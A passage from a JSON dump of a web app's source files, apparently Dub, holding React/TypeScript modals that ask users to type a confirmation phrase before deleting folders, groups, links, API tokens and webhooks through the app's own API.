type=\"button\"\n              variant=\"secondary\"\n              text=\"Cancel\"\n              className=\"h-9 w-fit\"\n              onClick={() => setShowModal(false)}\n              disabled={isSubmitting}\n            />\n            <Button\n              type=\"submit\"\n              text=\"Delete email domain\"\n              variant=\"danger\"\n              loading={isSubmitting}\n              className=\"h-9 w-fit\"\n            />\n          </div>\n        </form>\n      </div>\n    </Modal>\n  );\n};\n\nexport function useDeleteEmailDomainModal(\n  emailDomain: Pick<EmailDomainProps, \"id\" | \"slug\">,\n  onDelete?: () => void,\n) {\n  const [showDeleteEmailDomainModal, setShowDeleteEmailDomainModal] =\n    useState(false);\n\n  const DeleteEmailDomainModalCallback = useCallback(() => {\n    return (\n      <DeleteEmailDomainModal\n        showModal={showDeleteEmailDomainModal}\n        setShowModal={setShowDeleteEmailDomainModal}\n        emailDomain={emailDomain}\n        onDelete={onDelete}\n      />\n    );\n  }, [\n    showDeleteEmailDomainModal,\n    setShowDeleteEmailDomainModal,\n    onDelete,\n    emailDomain,\n  ]);\n\n  return useMemo(\n    () => ({\n      setShowDeleteEmailDomainModal,\n      DeleteEmailDomainModal: DeleteEmailDomainModalCallback,\n    }),\n    [setShowDeleteEmailDomainModal, DeleteEmailDomainModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/delete-folder-modal.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Folder } from \"@dub/prisma/client\";\nimport { Button, Modal, useMediaQuery } from \"@dub/ui\";\nimport { FormEvent, useCallback, useMemo, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\n\ninterface DeleteFolderModalProps {\n  showModal: boolean;\n  setShowModal: (showModal: boolean) => void;\n  folder: Pick<Folder, \"id\" | \"name\">;\n  onDelete?: () => void;\n}\n\nconst DeleteFolderModal = ({\n  showModal,\n  setShowModal,\n  folder,\n  onDelete,\n}: DeleteFolderModalProps) => {\n  const workspace = useWorkspace();\n  const { isMobile } = useMediaQuery();\n  const [isDeleting, setIsDeleting] = useState(false);\n\n  const onSubmit = async (e: FormEvent<HTMLFormElement>) => {\n    e.preventDefault();\n    setIsDeleting(true);\n\n    const response = await fetch(\n      `/api/folders/${folder.id}?workspaceId=${workspace.id}`,\n      {\n        method: \"DELETE\",\n      },\n    );\n\n    if (!response.ok) {\n      const { error } = await response.json();\n      toast.error(error.message);\n      setIsDeleting(false);\n      return;\n    }\n\n    Promise.all([\n      mutate(`/api/folders?workspaceId=${workspace.id}`),\n      mutate(`/api/folder/permissions?workspaceId=${workspace.id}`),\n    ]);\n\n    setShowModal(false);\n    onDelete?.();\n    toast.success(\"Folder deleted successfully!\");\n  };\n\n  return (\n    <Modal showModal={showModal} setShowModal={setShowModal}>\n      <div className=\"space-y-2 border-b border-neutral-200 px-4 py-4 sm:px-6\">\n        <h3 className=\"text-lg font-medium\">Delete {folder.name}</h3>\n        <p className=\"text-sm text-neutral-500\">\n          All links within this folder will return to the main folder and will\n          not be deleted.{\" \"}\n          <strong className=\"font-semibold text-neutral-700\">\n            This action cannot be undone\n          </strong>{\" \"}\n          - proceed with caution.\n        </p>\n      </div>\n\n      <div className=\"bg-neutral-50\">\n        <form onSubmit={onSubmit}>\n          <div className=\"flex flex-col gap-y-6 px-4 text-left sm:px-6\">\n            <div className=\"mt-6\">\n              <div className=\"flex items-center gap-2\">\n                <p className=\"block text-sm text-neutral-500\">\n                  To verify, type{\" \"}\n                  <span className=\"font-medium text-neutral-700\">\n                    {folder.name}\n                  </span>{\" \"}\n                  below\n                </p>\n              </div>\n\n              <div className=\"mt-2\">\n                <div className=\"-m-1 rounded-[0.625rem] p-1\">\n                  <div className=\"flex rounded-md border border-neutral-300 bg-white\">\n                    <input\n                      type=\"text\"\n                      required\n                      autoComplete=\"off\"\n                      className=\"block w-full rounded-md border-0 text-neutral-900 placeholder-neutral-400 focus:outline-none focus:ring-0 sm:text-sm\"\n                      aria-invalid=\"true\"\n                      autoFocus={!isMobile}\n                      pattern={folder.name}\n                    />\n                  </div>\n                </div>\n              </div>\n            </div>\n          </div>\n\n          <div className=\"mt-8 flex justify-end gap-2 border-t border-neutral-200 px-4 py-4 sm:px-6\">\n            <Button\n              type=\"button\"\n              variant=\"secondary\"\n              text=\"Cancel\"\n              className=\"h-9 w-fit\"\n              onClick={() => setShowModal(false)}\n              disabled={isDeleting}\n            />\n            <Button\n              type=\"submit\"\n              text=\"Confirm delete\"\n              variant=\"danger\"\n              loading={isDeleting}\n              className=\"h-9 w-fit\"\n            />\n          </div>\n        </form>\n      </div>\n    </Modal>\n  );\n};\n\nexport function useDeleteFolderModal(\n  folder: Pick<Folder, \"id\" | \"name\">,\n  onDelete?: () => void,\n) {\n  const [showDeleteFolderModal, setShowDeleteFolderModal] = useState(false);\n\n  const DeleteFolderModalCallback = useCallback(() => {\n    return (\n      <DeleteFolderModal\n        showModal={showDeleteFolderModal}\n        setShowModal={setShowDeleteFolderModal}\n        folder={folder}\n        onDelete={onDelete}\n      />\n    );\n  }, [showDeleteFolderModal, setShowDeleteFolderModal, onDelete]);\n\n  return useMemo(\n    () => ({\n      setShowDeleteFolderModal,\n      DeleteFolderModal: DeleteFolderModalCallback,\n    }),\n    [setShowDeleteFolderModal, DeleteFolderModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/delete-group-modal.tsx",
    "content": "import { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { useApiMutation } from \"@/lib/swr/use-api-mutation\";\nimport { GroupExtendedProps } from \"@/lib/types\";\nimport { Button, Modal, useMediaQuery } from \"@dub/ui\";\nimport { pluralize } from \"@dub/utils\";\nimport { Users } from \"lucide-react\";\nimport { FormEvent, useCallback, useMemo, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { GroupColorCircle } from \"../partners/groups/group-color-circle\";\n\ninterface DeleteGroupModalProps {\n  group: Pick<GroupExtendedProps, \"id\" | \"name\" | \"color\" | \"totalPartners\">;\n  showModal: boolean;\n  setShowModal: (showModal: boolean) => void;\n  onDelete?: () => void;\n}\n\nconst DeleteGroupModal = ({\n  group,\n  showModal,\n  setShowModal,\n  onDelete,\n}: DeleteGroupModalProps) => {\n  const { isMobile } = useMediaQuery();\n  const { makeRequest: deleteGroup, isSubmitting } = useApiMutation();\n\n  const onSubmit = async (e: FormEvent<HTMLFormElement>) => {\n    e.preventDefault();\n\n    await deleteGroup(`/api/groups/${group.id}`, {\n      method: \"DELETE\",\n      onSuccess: async () => {\n        setShowModal(false);\n        await mutatePrefix(\"/api/groups\");\n        toast.success(\"Group deleted successfully!\");\n        onDelete?.();\n      },\n    });\n  };\n\n  return (\n    <Modal showModal={showModal} setShowModal={setShowModal}>\n      <div className=\"border-b border-neutral-200 px-4 py-4 sm:px-6\">\n        <h3 className=\"truncate text-lg font-medium\">Delete group</h3>\n      </div>\n\n      <div className=\"bg-neutral-50\">\n        <form onSubmit={onSubmit}>\n          <div className=\"flex flex-col gap-y-4 px-4 py-6 text-left sm:px-6\">\n            <div className=\"flex flex-col gap-2 rounded-xl border border-neutral-200 bg-neutral-50 px-6 py-4\">\n              <div className=\"flex items-center gap-2\">\n                <GroupColorCircle group={group} />\n                <h4 className=\"truncate text-lg font-semibold text-neutral-900\">\n                  {group.name}\n                </h4>\n              </div>\n\n              <div className=\"flex items-center gap-2\">\n                <Users className=\"size-4\" />\n                <span className=\"text-content-default text-sm font-medium\">\n                  {group.totalPartners}{\" \"}\n                  {pluralize(\"partner\", group.totalPartners)}\n                </span>\n              </div>\n            </div>\n\n            <div className=\"text-sm font-normal text-neutral-800\">\n              <h4>Deleting this group will do the following:</h4>\n\n              <ul className=\"mt-0.5 list-outside list-disc space-y-px pl-4\">\n                <li>Rewards created for this group will be deleted.</li>\n                <li>Discount created for this group will be deleted.</li>\n\n                {group.totalPartners && group.totalPartners > 0 ? (\n                  <>\n                    <li>\n                      Partners in this group will be moved to your{\" \"}\n                      <strong>Default</strong> group.\n                    </li>\n                    <li>\n                      Partners in this group will have their rewards and\n                      discount updated to the <strong>Default</strong> group\n                      settings.\n                    </li>\n                  </>\n                ) : null}\n              </ul>\n\n              <p className=\"mt-4\">\n                This action cannot be undone – proceed with caution.\n              </p>\n            </div>\n\n            <div className=\"border-t border-neutral-300\"></div>\n\n            <div>\n              <div className=\"flex items-center gap-2\">\n                <p className=\"block text-sm text-neutral-500\">\n                  To verify, type{\" \"}\n                  <span className=\"font-medium text-neutral-700\">\n                    confirm delete group\n                  </span>{\" \"}\n                  below\n                </p>\n              </div>\n\n              <div className=\"mt-2\">\n                <div className=\"-m-1 rounded-[0.625rem] p-1\">\n                  <input\n                    type=\"text\"\n                    required\n                    autoComplete=\"off\"\n                    className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                    aria-invalid=\"true\"\n                    autoFocus={!isMobile}\n                    pattern=\"confirm delete group\"\n                  />\n                </div>\n              </div>\n            </div>\n          </div>\n\n          <div className=\"flex justify-end gap-2 border-t border-neutral-200 px-4 py-4 sm:px-6\">\n            <Button\n              type=\"button\"\n              variant=\"secondary\"\n              text=\"Cancel\"\n              className=\"h-9 w-fit\"\n              onClick={() => setShowModal(false)}\n              disabled={isSubmitting}\n            />\n            <Button\n              type=\"submit\"\n              text=\"Delete group\"\n              variant=\"danger\"\n              loading={isSubmitting}\n              className=\"h-9 w-fit\"\n            />\n          </div>\n        </form>\n      </div>\n    </Modal>\n  );\n};\n\nexport function useDeleteGroupModal(\n  group: Pick<GroupExtendedProps, \"id\" | \"name\" | \"color\" | \"totalPartners\">,\n  onDelete?: () => void,\n) {\n  const [showDeleteGroupModal, setShowDeleteGroupModal] = useState(false);\n\n  const DeleteGroupModalCallback = useCallback(() => {\n    return (\n      <DeleteGroupModal\n        showModal={showDeleteGroupModal}\n        setShowModal={setShowDeleteGroupModal}\n        group={group}\n        onDelete={onDelete}\n      />\n    );\n  }, [showDeleteGroupModal, setShowDeleteGroupModal, onDelete, group]);\n\n  return useMemo(\n    () => ({\n      setShowDeleteGroupModal,\n      DeleteGroupModal: DeleteGroupModalCallback,\n    }),\n    [setShowDeleteGroupModal, DeleteGroupModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/delete-link-modal.tsx",
    "content": "import { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { LinkProps } from \"@/lib/types\";\nimport { Button, Modal, useMediaQuery } from \"@dub/ui\";\nimport { getPrettyUrl, pluralize } from \"@dub/utils\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\nimport { SimpleLinkCard } from \"../links/simple-link-card\";\n\ntype DeleteLinkModalProps = {\n  showDeleteLinkModal: boolean;\n  setShowDeleteLinkModal: Dispatch<SetStateAction<boolean>>;\n  links: LinkProps[];\n  onSuccess?: () => void;\n};\n\nfunction DeleteLinkModal(props: DeleteLinkModalProps) {\n  return (\n    <Modal\n      showModal={props.showDeleteLinkModal}\n      setShowModal={props.setShowDeleteLinkModal}\n    >\n      <DeleteLinkModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction DeleteLinkModalInner({\n  setShowDeleteLinkModal,\n  links,\n  onSuccess,\n}: DeleteLinkModalProps) {\n  const { id } = useWorkspace();\n  const [deleting, setDeleting] = useState(false);\n\n  const { isMobile } = useMediaQuery();\n\n  const pattern =\n    links.length > 1\n      ? `delete ${links.length} links`\n      : getPrettyUrl(links[0].shortLink);\n\n  return (\n    <>\n      <div className=\"space-y-2 border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">\n          Delete {links.length > 1 ? `${links.length} links` : \"link\"}\n        </h3>\n      </div>\n\n      <div className=\"bg-neutral-50 p-4 sm:p-6\">\n        <p className=\"text-sm text-neutral-800\">\n          Are you sure you want to delete the following{\" \"}\n          {pluralize(\"link\", links.length)}?\n        </p>\n\n        <p className=\"mt-4 text-sm font-medium text-neutral-800\">\n          Deleting these links will remove all of their analytics. This action\n          cannot be undone – proceed with caution.\n        </p>\n\n        <div className=\"scrollbar-hide mt-4 flex max-h-[190px] flex-col gap-2 overflow-y-auto rounded-2xl border border-neutral-200 p-2\">\n          {links.map((link) => (\n            <SimpleLinkCard key={link.id} link={link} />\n          ))}\n        </div>\n      </div>\n\n      <form\n        onSubmit={async (e) => {\n          e.preventDefault();\n          setDeleting(true);\n          fetch(\n            `/api/links/bulk?workspaceId=${id}&linkIds=${links.map(({ id }) => id).join(\",\")}`,\n            {\n              method: \"DELETE\",\n            },\n          ).then(async (res) => {\n            if (res.status === 200) {\n              await mutatePrefix(\"/api/links\");\n              setShowDeleteLinkModal(false);\n              onSuccess?.();\n              toast.success(\n                `Successfully deleted ${pluralize(\"link\", links.length)}!`,\n              );\n            } else {\n              const { error } = await res.json();\n              toast.error(error.message);\n            }\n            setDeleting(false);\n          });\n        }}\n        className=\"flex flex-col bg-neutral-50 text-left\"\n      >\n        <div className=\"px-4 sm:px-6\">\n          <label\n            htmlFor=\"verification\"\n            className=\"block text-sm text-neutral-700\"\n          >\n            To verify, type <span className=\"font-semibold\">{pattern}</span>{\" \"}\n            below\n          </label>\n          <div className=\"relative mt-1.5 rounded-md shadow-sm\">\n            <input\n              type=\"text\"\n              name=\"verification\"\n              id=\"verification\"\n              pattern={pattern}\n              required\n              autoFocus={!isMobile}\n              autoComplete=\"off\"\n              className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n            />\n          </div>\n        </div>\n\n        <div className=\"mt-8 flex items-center justify-end gap-2 border-t border-neutral-200 bg-neutral-50 px-4 py-5 sm:px-6\">\n          <Button\n            onClick={() => setShowDeleteLinkModal(false)}\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-8 w-fit px-3\"\n          />\n          <Button\n            variant=\"danger\"\n            text={`Delete ${pluralize(\"link\", links.length)}`}\n            loading={deleting}\n            className=\"h-8 w-fit px-3\"\n          />\n        </div>\n      </form>\n    </>\n  );\n}\n\nexport function useDeleteLinkModal({\n  props,\n  onSuccess,\n}: {\n  props?: LinkProps | LinkProps[];\n  onSuccess?: () => void;\n}) {\n  const [showDeleteLinkModal, setShowDeleteLinkModal] = useState(false);\n\n  const DeleteLinkModalCallback = useCallback(() => {\n    return props ? (\n      <DeleteLinkModal\n        showDeleteLinkModal={showDeleteLinkModal}\n        setShowDeleteLinkModal={setShowDeleteLinkModal}\n        links={Array.isArray(props) ? props : [props]}\n        onSuccess={onSuccess}\n      />\n    ) : null;\n  }, [showDeleteLinkModal, setShowDeleteLinkModal]);\n\n  return useMemo(\n    () => ({\n      setShowDeleteLinkModal,\n      DeleteLinkModal: DeleteLinkModalCallback,\n    }),\n    [setShowDeleteLinkModal, DeleteLinkModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/delete-partner-link-modal.tsx",
    "content": "import { constructPartnerLink } from \"@/lib/partners/construct-partner-link\";\nimport useProgramEnrollment from \"@/lib/swr/use-program-enrollment\";\nimport { PartnerProfileLinkProps } from \"@/lib/types\";\nimport { SimpleLinkCard } from \"@/ui/links/simple-link-card\";\nimport { Button, Modal, useMediaQuery } from \"@dub/ui\";\nimport { useParams } from \"next/navigation\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useEffect,\n  useMemo,\n  useRef,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\n\ntype DeletePartnerLinkModalProps = {\n  showDeletePartnerLinkModal: boolean;\n  setShowDeletePartnerLinkModal: Dispatch<SetStateAction<boolean>>;\n  link: PartnerProfileLinkProps;\n  onSuccess?: () => void;\n};\n\nfunction DeletePartnerLinkModal(props: DeletePartnerLinkModalProps) {\n  return (\n    <Modal\n      showModal={props.showDeletePartnerLinkModal}\n      setShowModal={props.setShowDeletePartnerLinkModal}\n    >\n      <DeletePartnerLinkModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction DeletePartnerLinkModalInner({\n  setShowDeletePartnerLinkModal,\n  link,\n  onSuccess,\n}: DeletePartnerLinkModalProps) {\n  const { programSlug } = useParams();\n  const { programEnrollment } = useProgramEnrollment();\n  const { isMobile } = useMediaQuery();\n  const [deleting, setDeleting] = useState(false);\n\n  const partnerLink = constructPartnerLink({\n    group: programEnrollment?.group,\n    link,\n  });\n\n  const handleSubmit = async (e: React.FormEvent<HTMLFormElement>) => {\n    e.preventDefault();\n    if (!programEnrollment?.program.id) return;\n\n    setDeleting(true);\n\n    try {\n      const response = await fetch(\n        `/api/partner-profile/programs/${programEnrollment.program.id}/links/${link.id}`,\n        {\n          method: \"DELETE\",\n          headers: { \"Content-Type\": \"application/json\" },\n        },\n      );\n\n      if (!response.ok) {\n        const { error } = await response.json();\n        throw new Error(error.message);\n      }\n\n      await mutate(`/api/partner-profile/programs/${programSlug}/links`);\n      setShowDeletePartnerLinkModal(false);\n      onSuccess?.();\n      toast.success(\"Link deleted successfully!\");\n    } catch (error) {\n      toast.error(\n        error instanceof Error\n          ? error.message\n          : \"Failed to delete link. Please try again.\",\n      );\n    } finally {\n      setDeleting(false);\n    }\n  };\n\n  return (\n    <>\n      <div className=\"space-y-2 border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">Delete link</h3>\n      </div>\n\n      <div className=\"bg-neutral-50 p-4 sm:p-6\">\n        <p className=\"text-sm text-neutral-800\">\n          Are you sure you want to delete this link?\n        </p>\n\n        <p className=\"mt-4 text-sm font-medium text-neutral-800\">\n          Deleting this link will remove all of its analytics. This action\n          cannot be undone – proceed with caution.\n        </p>\n\n        <div className=\"mt-4 rounded-2xl border border-neutral-200 p-2\">\n          <SimpleLinkCard\n            link={{\n              shortLink: partnerLink,\n              url: link.url,\n            }}\n          />\n        </div>\n      </div>\n\n      <form\n        onSubmit={handleSubmit}\n        className=\"flex flex-col bg-neutral-50 text-left\"\n      >\n        <div className=\"px-4 sm:px-6\">\n          <label\n            htmlFor=\"verification\"\n            className=\"block text-sm text-neutral-700\"\n          >\n            To verify, type{\" \"}\n            <span className=\"font-semibold\">confirm delete link</span> below\n          </label>\n          <div className=\"relative mt-1.5 rounded-md shadow-sm\">\n            <input\n              type=\"text\"\n              name=\"verification\"\n              id=\"verification\"\n              pattern=\"confirm delete link\"\n              required\n              autoFocus={!isMobile}\n              autoComplete=\"off\"\n              className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n            />\n          </div>\n        </div>\n\n        <div className=\"mt-8 flex items-center justify-end gap-2 border-t border-neutral-200 bg-neutral-50 px-4 py-5 sm:px-6\">\n          <Button\n            onClick={() => setShowDeletePartnerLinkModal(false)}\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-8 w-fit px-3\"\n          />\n          <Button\n            variant=\"danger\"\n            text=\"Delete link\"\n            loading={deleting}\n            className=\"h-8 w-fit px-3\"\n          />\n        </div>\n      </form>\n    </>\n  );\n}\n\nexport function useDeletePartnerLinkModal({\n  link,\n  onSuccess,\n}: {\n  link?: PartnerProfileLinkProps;\n  onSuccess?: () => void;\n}) {\n  const [showDeletePartnerLinkModal, setShowDeletePartnerLinkModal] =\n    useState(false);\n\n  const linkRef = useRef(link);\n  const onSuccessRef = useRef(onSuccess);\n\n  useEffect(() => {\n    linkRef.current = link;\n    onSuccessRef.current = onSuccess;\n  }, [link, onSuccess]);\n\n  const DeletePartnerLinkModalCallback = useCallback(() => {\n    return linkRef.current ? (\n      <DeletePartnerLinkModal\n        showDeletePartnerLinkModal={showDeletePartnerLinkModal}\n        setShowDeletePartnerLinkModal={setShowDeletePartnerLinkModal}\n        link={linkRef.current}\n        onSuccess={onSuccessRef.current}\n      />\n    ) : null;\n  }, [showDeletePartnerLinkModal, setShowDeletePartnerLinkModal]);\n\n  return useMemo(\n    () => ({\n      setShowDeletePartnerLinkModal,\n      DeletePartnerLinkModal: DeletePartnerLinkModalCallback,\n    }),\n    [setShowDeletePartnerLinkModal, DeletePartnerLinkModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/delete-token-modal.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { TokenProps } from \"@/lib/types\";\nimport { Button, Key, Modal, Tooltip, useMediaQuery } from \"@dub/ui\";\nimport { OG_AVATAR_URL } from \"@dub/utils\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\n\nfunction DeleteTokenModal({\n  showDeleteTokenModal,\n  setShowDeleteTokenModal,\n  token,\n}: {\n  showDeleteTokenModal: boolean;\n  setShowDeleteTokenModal: Dispatch<SetStateAction<boolean>>;\n  token: TokenProps;\n}) {\n  const { isMobile } = useMediaQuery();\n  const { id: workspaceId } = useWorkspace();\n  const [removing, setRemoving] = useState(false);\n  const [verification, setVerification] = useState(\"\");\n\n  // Determine the endpoint\n  const isRestrictedToken = \"scopes\" in token ? true : false;\n\n  const endpoint = useMemo(() => {\n    if (!isRestrictedToken) {\n      return {\n        url: `/api/user/tokens?id=${token.id}`,\n        mutate: \"/api/user/tokens\",\n      };\n    } else {\n      return {\n        url: `/api/tokens/${token.id}?workspaceId=${workspaceId}`,\n        mutate: `/api/tokens?workspaceId=${workspaceId}`,\n      };\n    }\n  }, [isRestrictedToken]);\n\n  const confirmationText = \"confirm delete token\";\n  const isVerified = verification === confirmationText;\n\n  const deleteToken = async () => {\n    setRemoving(true);\n    const res = await fetch(endpoint.url, {\n      method: \"DELETE\",\n      headers: { \"Content-Type\": \"application/json\" },\n    });\n    setRemoving(false);\n    if (res.status === 200) {\n      toast.success(`Successfully deleted API key`);\n      mutate(endpoint.mutate);\n      setShowDeleteTokenModal(false);\n    } else {\n      const { error } = await res.json();\n      toast.error(error.message);\n    }\n  };\n\n  return (\n    <Modal\n      showModal={showDeleteTokenModal}\n      setShowModal={setShowDeleteTokenModal}\n      className=\"max-w-md\"\n    >\n      <div className=\"space-y-2 border-b border-neutral-200 px-4 py-4 sm:px-6\">\n        <h3 className=\"text-lg font-medium\">Delete API Key</h3>\n        <p className=\"text-sm text-neutral-500\">\n          This will permanently delete the API key for and revoke all access to\n          your account. Are you sure you want to continue?\n        </p>\n      </div>\n\n      <form\n        onSubmit={async (e) => {\n          e.preventDefault();\n          await deleteToken();\n        }}\n        className=\"flex flex-col space-y-4 bg-neutral-50 px-4 py-4 sm:px-6\"\n      >\n        <div className=\"relative flex items-center gap-2 space-x-3 rounded-md border border-neutral-300 bg-white px-4 py-2\">\n          <Key className=\"size-5 text-neutral-500\" />\n\n          <div className=\"flex flex-1 flex-col gap-0.5\">\n            <h3 className=\"line-clamp-1 text-sm font-medium text-neutral-600\">\n              {token.name}\n            </h3>\n            <p\n              className=\"text-xs font-medium text-neutral-500\"\n              suppressHydrationWarning\n            >\n              {token.partialKey}\n            </p>\n          </div>\n\n          <div className=\"flex items-center gap-2\">\n            {token.user && (\n              <Tooltip content={token.user.name}>\n                <img\n                  src={\n                    token.user.isMachine\n                      ? `https://api.dicebear.com/7.x/bottts/svg?seed=${token.user.id}`\n                      : token.user.image || `${OG_AVATAR_URL}${token.user.id}`\n                  }\n                  alt={token.user.name!}\n                  className=\"size-5 rounded-full\"\n                />\n              </Tooltip>\n            )}\n            <p className=\"text-xs text-neutral-500\">\n              {new Date(token.createdAt).toLocaleDateString(\"en-us\", {\n                month: \"short\",\n                day: \"numeric\",\n              })}\n            </p>\n          </div>\n        </div>\n\n        <div>\n          <label\n            htmlFor=\"verification\"\n            className=\"block text-sm text-neutral-700\"\n          >\n            To verify, type{\" \"}\n            <span className=\"font-semibold\">{confirmationText}</span> below\n          </label>\n          <div className=\"relative mt-1 rounded-md shadow-sm\">\n            <input\n              type=\"text\"\n              name=\"verification\"\n              id=\"verification\"\n              pattern={confirmationText}\n              required\n              autoFocus={!isMobile}\n              autoComplete=\"off\"\n              value={verification}\n              onChange={(e) => setVerification(e.target.value)}\n              className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-300 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n            />\n          </div>\n        </div>\n\n        <Button\n          text=\"Delete\"\n          variant=\"danger\"\n          loading={removing}\n          disabled={!isVerified}\n        />\n      </form>\n    </Modal>\n  );\n}\n\nexport function useDeleteTokenModal({ token }: { token: TokenProps }) {\n  const [showDeleteTokenModal, setShowDeleteTokenModal] = useState(false);\n\n  const DeleteTokenModalCallback = useCallback(() => {\n    return (\n      <DeleteTokenModal\n        showDeleteTokenModal={showDeleteTokenModal}\n        setShowDeleteTokenModal={setShowDeleteTokenModal}\n        token={token}\n      />\n    );\n  }, [showDeleteTokenModal, setShowDeleteTokenModal]);\n\n  return useMemo(\n    () => ({\n      setShowDeleteTokenModal,\n      DeleteTokenModal: DeleteTokenModalCallback,\n    }),\n    [setShowDeleteTokenModal, DeleteTokenModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/delete-webhook-modal.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { WebhookProps } from \"@/lib/types\";\nimport { BlurImage, Button, Logo, Modal, useMediaQuery } from \"@dub/ui\";\nimport { useRouter } from \"next/navigation\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\n\nfunction DeleteWebhookModal({\n  showDeleteWebhookModal,\n  setShowDeleteWebhookModal,\n  webhook,\n}: {\n  showDeleteWebhookModal: boolean;\n  setShowDeleteWebhookModal: Dispatch<SetStateAction<boolean>>;\n  webhook: Pick<WebhookProps, \"id\" | \"name\" | \"url\"> | undefined;\n}) {\n  const router = useRouter();\n  const { isMobile } = useMediaQuery();\n  const [deleting, setDeleting] = useState(false);\n  const { id: workspaceId, slug: workspaceSlug, logo } = useWorkspace();\n\n  const deleteWebhook = async () => {\n    setDeleting(true);\n\n    const response = await fetch(\n      `/api/webhooks/${webhook?.id}?workspaceId=${workspaceId}`,\n      {\n        method: \"DELETE\",\n        headers: { \"Content-Type\": \"application/json\" },\n      },\n    );\n\n    setDeleting(false);\n\n    if (!response.ok) {\n      const { error } = await response.json();\n      throw new Error(error.message);\n    }\n\n    setShowDeleteWebhookModal(false);\n    mutate(`/api/webhooks?workspaceId=${workspaceId}`);\n    router.push(`/${workspaceSlug}/settings/webhooks`);\n  };\n\n  if (!webhook) {\n    return null;\n  }\n\n  return (\n    <Modal\n      showModal={showDeleteWebhookModal}\n      setShowModal={setShowDeleteWebhookModal}\n    >\n      <div className=\"flex flex-col items-center justify-center space-y-3 border-b border-neutral-200 px-4 py-4 pt-8 sm:px-16\">\n        {logo ? (\n          <BlurImage\n            src={logo}\n            alt=\"Workspace logo\"\n            className=\"h-10 w-10 rounded-full\"\n            width={20}\n            height={20}\n          />\n        ) : (\n          <Logo />\n        )}\n        <h3 className=\"text-lg font-medium\">Delete {webhook.name}</h3>\n        <p className=\"text-center text-sm text-neutral-500\">\n          This will stop all events from being sent to the endpoint and remove\n          all webhook logs\n        </p>\n      </div>\n\n      <form\n        onSubmit={async (e) => {\n          e.preventDefault();\n\n          toast.promise(deleteWebhook(), {\n            loading: \"Deleting webhook...\",\n            success: \"Webhook deleted successfully!\",\n            error: (err) => err,\n          });\n        }}\n        className=\"flex flex-col space-y-6 bg-neutral-50 px-4 py-8 text-left sm:px-16\"\n      >\n        <div>\n          <label\n            htmlFor=\"verification\"\n            className=\"block text-sm text-neutral-700\"\n          >\n            To verify, type{\" \"}\n            <span className=\"font-semibold text-black\">{webhook.name}</span>{\" \"}\n            below\n          </label>\n          <div className=\"relative mt-1 rounded-md shadow-sm\">\n            <input\n              type=\"text\"\n              name=\"verification\"\n              id=\"verification\"\n              pattern={webhook.name}\n              required\n              autoFocus={false}\n              autoComplete=\"off\"\n              className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n            />\n          </div>\n        </div>\n\n        <Button\n          text=\"Confirm delete\"\n          variant=\"danger\"\n          loading={deleting}\n          autoFocus={!isMobile}\n          type=\"submit\"\n        />\n      </form>\n    </Modal>\n  );\n}\n\nexport function useDeleteWebhookModal({\n  webhook,\n}: {\n  webhook: Pick<WebhookProps, \"id\" | \"name\" | \"url\"> | undefined;\n}) {\n  const [showDeleteWebhookModal, setDeleteWebhookModal] = useState(false);\n\n  const DeleteWebhookModalCallback = useCallback(() => {\n    return (\n      <DeleteWebhookModal\n        showDeleteWebhookModal={showDeleteWebhookModal}\n        setShowDeleteWebhookModal={setDeleteWebhookModal}\n        webhook={webhook}\n      />\n    );\n  }, [showDeleteWebhookModal, setDeleteWebhookModal, webhook]);\n\n  return useMemo(\n    () => ({\n      setDeleteWebhookModal,\n      DeleteWebhookModal: DeleteWebhookModalCallback,\n    }),\n    [setDeleteWebhookModal, DeleteWebhookModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/delete-workspace-modal.tsx",
